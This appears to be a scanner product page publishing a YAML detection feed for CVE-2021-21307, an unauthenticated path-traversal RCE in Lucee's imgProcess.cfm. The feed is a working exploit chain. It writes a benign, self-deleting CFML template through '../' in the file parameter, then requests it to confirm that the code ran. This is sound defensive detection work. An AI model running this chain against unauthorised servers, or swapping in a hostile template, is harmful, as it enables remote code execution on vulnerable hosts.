Lucee — 1 vulnerability check

noctis ships 1 vulnerability check for Lucee, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Lucee Administrator imgProcess.cfm Unauthenticated RCE

CVECVE-2021-21307
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/lucee/CVE-2021-21307.yaml

Exploits the unauthenticated path traversal in the Lucee Administrator's imgProcess.cfm (CVE-2021-21307) to write a self-deleting CFML template that only prints the product of two random integers, then requests it. Getting the computed product back proves unauthenticated server-side code execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST /lucee/admin/imgProcess.cfm?file=/../../../context/noctis{{tok}}.cfm with a crafted body
  6. HTTP(S) request GET /lucee/noctis{{tok}}.cfm
  7. Checks run_resp.body for NOCTIS[0-9]+ → finding QoD 97: Lucee unauthenticated CFML execution confirmed: template written via /lucee/admin/imgProcess.cfm?file=/../../../context/noctis….cfm evaluat…

References:

Feed source — tests/vulnerabilities/lucee/CVE-2021-21307.yaml
# Lucee Administrator imgProcess.cfm unauthenticated RCE — CVE-2021-21307
# (GHSA-2xvv-723c-8p7r)
#
# /lucee/admin/imgProcess.cfm is reachable without an admin session and writes
# the POSTed `imgSrc` body to `{temp-directory}/admin-ext-thumbnails/<url.file>`.
# `file` is not sanitised, so `../` lets an attacker drop a .cfm template into
# the Lucee context directory, which the server then serves — and compiles —
# under the /lucee/ mapping: unauthenticated CFML code execution.
#
# Affected: Lucee <= 5.3.5.96, 5.3.6.x < 5.3.6.68, 5.3.7.x < 5.3.7.47.
#
# DETECTION (real, benign exploitation — QoD 97):
#   1. Write a CFML template through the traversal. Its only code is
#      `<cfoutput>NOCTIS#(a*b)#</cfoutput>` with two per-run random integers,
#      followed by a <cffile action="delete"> on its own path, so the template
#      removes itself the moment it has run (no file is left behind).
#   2. Request the template under /lucee/. A vulnerable server compiles and runs
#      it and answers NOCTIS<a*b>. The product appears nowhere in the request
#      (only the literal `a*b` expression does), so seeing it proves the server
#      evaluated our CFML — not a reflection, not a fingerprint.
#
# Better than the OpenVAS NASL (gb_lucee_GHSA-2xvv-723c-8p7r_active.nasl): the
# NASL only flags "imgProcess.cfm answers 200", which a catch-all/custom page or a
# hardened admin that blocks template execution also produces. This feed proves
# the write + execution chain end to end and cleans up after itself.
#
# Verified against the real lucee/lucee:5.3.7.43 (vulnerable: NOCTIS<product>,
# template deleted afterwards) and lucee/lucee:5.3.7.47 (imgProcess.cfm → 404).
uid: df759551-64a1-418d-8b89-61307b8679aa
name: "Lucee Administrator imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)"
description: |
  Exploits the unauthenticated path traversal in the Lucee Administrator's
  imgProcess.cfm (CVE-2021-21307) to write a self-deleting CFML template that
  only prints the product of two random integers, then requests it. Getting the
  computed product back proves unauthenticated server-side code execution.
cves: [CVE-2021-21307]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [lucee, cfml, coldfusion, rce, path-traversal, file-write, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-21307"
  - "https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21307.yaml"
  - "OpenVAS NASL 2021/lucee/gb_lucee_GHSA-2xvv-723c-8p7r_active.nasl (OID 1.3.6.1.4.1.25623.1.0.146116)"

steps:
  # 1 — per-run template name and operands. Operands stay 4-digit so the product
  #     (< 1e8) is printed by Lucee as a plain integer, never in E-notation.
  - id: mint-token
    action: script
    store_as: tok
    code: |
      rand_hex(8)

  - id: mint-a
    action: script
    store_as: op_a
    code: |
      rand_int(1000, 9999)

  - id: mint-b
    action: script
    store_as: op_b
    code: |
      rand_int(1000, 9999)

  - id: build-marker
    action: script
    store_as: marker
    code: |
      "NOCTIS" + (op_a * op_b)

  # 2 — write the template through the `file` traversal. The body is the
  #     url-encoded form of:
  #       <cfoutput>NOCTIS#(A*B)#</cfoutput>
  #       <cftry><cffile action="delete" file="#getCurrentTemplatePath()#">
  #       <cfcatch></cfcatch></cftry>
  #     The `../` sits in the query string, which reqwest does not normalise.
  - id: write-template
    action: http_request
    method: POST
    path: "/lucee/admin/imgProcess.cfm?file=/../../../context/noctis{{tok}}.cfm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "imgSrc=%3Ccfoutput%3ENOCTIS%23({{op_a}}*{{op_b}})%23%3C%2Fcfoutput%3E%3Ccftry%3E%3Ccffile%20action%3D%22delete%22%20file%3D%22%23getCurrentTemplatePath()%23%22%3E%3Ccfcatch%3E%3C%2Fcfcatch%3E%3C%2Fcftry%3E"
    store_as: write_resp

  # 3 — run it. Only when the unauthenticated write was accepted (patched → 404).
  - id: run-template
    action: http_request
    method: GET
    path: "/lucee/noctis{{tok}}.cfm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "write_resp.status == 200"
    store_as: run_resp

  # 4 — confirm: the body carries THIS run's computed product.
  - id: rce-confirmed
    action: match
    source: run_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "write_resp.status == 200 && run_resp.status == 200 && stridx(run_resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "Lucee unauthenticated CFML execution confirmed: template written via /lucee/admin/imgProcess.cfm?file=/../../../context/noctis{{tok}}.cfm evaluated {{op_a}}*{{op_b}} and returned {{marker}} (template self-deleted) — CVE-2021-21307"
      stop: true

View these feeds on GitHub